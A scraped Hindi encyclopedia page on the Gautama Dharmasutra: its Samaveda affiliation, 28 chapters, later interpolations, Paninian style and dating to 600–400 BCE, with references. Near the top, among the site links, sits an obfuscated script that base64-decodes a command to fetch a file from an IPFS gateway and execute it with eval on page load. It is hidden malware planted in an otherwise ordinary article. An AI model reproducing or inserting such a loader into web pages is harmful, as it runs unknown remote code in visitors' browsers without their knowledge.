गौतम धर्मसूत्र

अद्‌भुत भारत की खोज
नेविगेशन पर जाएँ खोज पर जाएँ
गणराज्य इतिहास पर्यटन भूगोल विज्ञान कला साहित्य धर्म संस्कृति शब्दावली विश्वकोश भारतकोश

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

चित्र:Tranfer-icon.png यह लेख परिष्कृत रूप में भारतकोश पर बनाया जा चुका है। भारतकोश पर देखने के लिए यहाँ क्लिक करें
लेख सूचना
गौतम धर्मसूत्र
पुस्तक नाम हिन्दी विश्वकोश खण्ड 4
पृष्ठ संख्या 49
भाषा हिन्दी देवनागरी
संपादक फूलदेव सहाय वर्मा
प्रकाशक नागरी प्रचारणी सभा वाराणसी
मुद्रक नागरी मुद्रण वाराणसी
संस्करण सन्‌ 1964 ईसवी
उपलब्ध भारतडिस्कवरी पुस्तकालय
कॉपीराइट सूचना नागरी प्रचारणी सभा वाराणसी
लेख सम्पादक विश्वंभर शरण पाठक

गौतम धर्मसूत्र अद्यावधि उपलब्ध धर्मसूत्रों में यह प्राचीनतम है। यद्यपि सभी धर्मसूत्र ग्रंथ बिना किसी शाखाभेद के संपूर्ण आर्यजन को सामान्य रूप से मान्य हैं, तथापि कुमारिल[१] के अनुसार गौतम धर्मसूत्र और गोभिल गृह्यसूत्र छंदोग (सामवेद) अध्येताओं के द्वारा विशेष रूप से परिगृहीत हैं। गौतम धर्मसूत्र के आंतरिक साक्ष्य से कुमारिल के मत की पुष्टि होती है। इस ग्रंथ का संपूर्ण २६वां अध्याय सामवेद के ब्राह्मण सामविधान से गृहीत है। सामवेदीय गोभिलगृह्यसूत्र में गौतम के प्रमाणों के उद्धरण हैं। परंपरा के अनुसार सामवेद की शाखा राणायनीय का एक सूत्रचरण गौतम था और संभवत: इसी सूत्रचरण में गौतमधर्मसूत्र की रचना हुई। यह कल्पना भी दूरारूढ़ नहीं कि धर्मसूत्र के अतिरिक्त गौतमसूत्रचरण के गृह्य और श्रौतस्‌त्र थे जो अब उपलब्ध नहीं।

सामयाचारिक अथवा स्मार्त धर्म का विवेचन करनेवाले इस धर्मसूत्र में २८ अध्याय हैं, जिनमें वर्ण, आश्रम और निमित्त (प्रायश्चित्त) धर्मों का विस्तृत तथा गुणधर्म (राजधर्म) का अपेक्षतया संक्षिप्त विधान है। धर्मप्रमाण, प्रमाणों का पौर्वापर्य, उपनयन, शौच[२], ब्रह्मचारी, भिक्षु और बैखानस आश्रमों की विधि [३], गृहस्थाश्रम से संबद्ध संस्कार और कर्तव्य[४], ब्राह्मण, क्षत्रिय, वैश्य और शूद्र के कर्तव्य [५], राजधर्म [६], दंड [७], शौच [८], स्त्रीधर्म [९], प्रायश्चित्त [१०], दायभाग [११] एवं पुत्रों के प्रकार[१२] का विवेचन है।

इस धर्मसूत्र का उपलब्ध रूप अनेक प्रक्षेपों से युक्त है। उदाहरण के लिये १९वें अध्याय में कर्मविपाक का अंश बाद में जोड़ा गया है। इसपर न तो मस्करी का भाष्य और न हरदत्त की व्याख्या है। बौधायन [१३] द्वारा उद्धृत गौतमधर्मसूत्र के वचन तथा प्रस्तुत धर्मसूत्र के आंतरिक साक्ष्य पर अध्याय ६ का छठा सूत्र भी परवर्ती प्रक्षेप प्रतीत होता है।

इसमें अन्य धर्मसूत्रों के समान बीच बीच में फुटकर पद्य नहीं हैं। संपूर्ण गौतमधर्मसूत्र गद्य में है, यद्यपि कुछ सूत्र वत्तगंधिशैली में लिखे गए हैं और अनुष्टुप्‌ के अंश प्रतीत होते हैं, अन्य धर्मसूत्रों की अपेक्षा इसकी भाषा पाणिनीय व्याकरण की अधिक अनुयायिनी है, किंतु यह संस्कार भी बाद का प्रतीत होता है।

क्योंकि इस धर्मसूत्र में सामविधान ब्राह्मण का एक अंश गृहीत है, और वसिष्ठ और बौधायन धर्मसूत्रों में इस धर्मसूत्र के मतों का नामपूर्वक उल्लेख है, अत: इसकी रचना सामविधान ब्राह्मण के बाद और वसिष्ठ और बौधायनधर्मसूत्रों के पूर्व हुई होगी। इस तथ्य तथा बौद्ध धर्म के द्वारा की गई वर्णाश्रम धर्म की आलोचना के अनुल्लेख तथा उसकी प्रत्यालोचन के अभाव के आधार पर इस धर्मसूत्र का रचनाकाल ६००-४०० ई. पूर्व माना गया है। इसपर हरदत्त की 'मिताक्षरा' व्याख्या और मस्करी का 'भाष्य' है।


टीका टिप्पणी और संदर्भ

  1. तंत्रवार्तिक, काशी, पृ. १७९
  2. अ. १-२
  3. अ.-३
  4. अ. ४-६
  5. अ. ९-१०
  6. अ. ११
  7. अ. ११-१३
  8. अ. १४
  9. अ. १८
  10. अ. १८-२७
  11. अ. २७, २८
  12. अ. २८
  13. २, २, ४, १७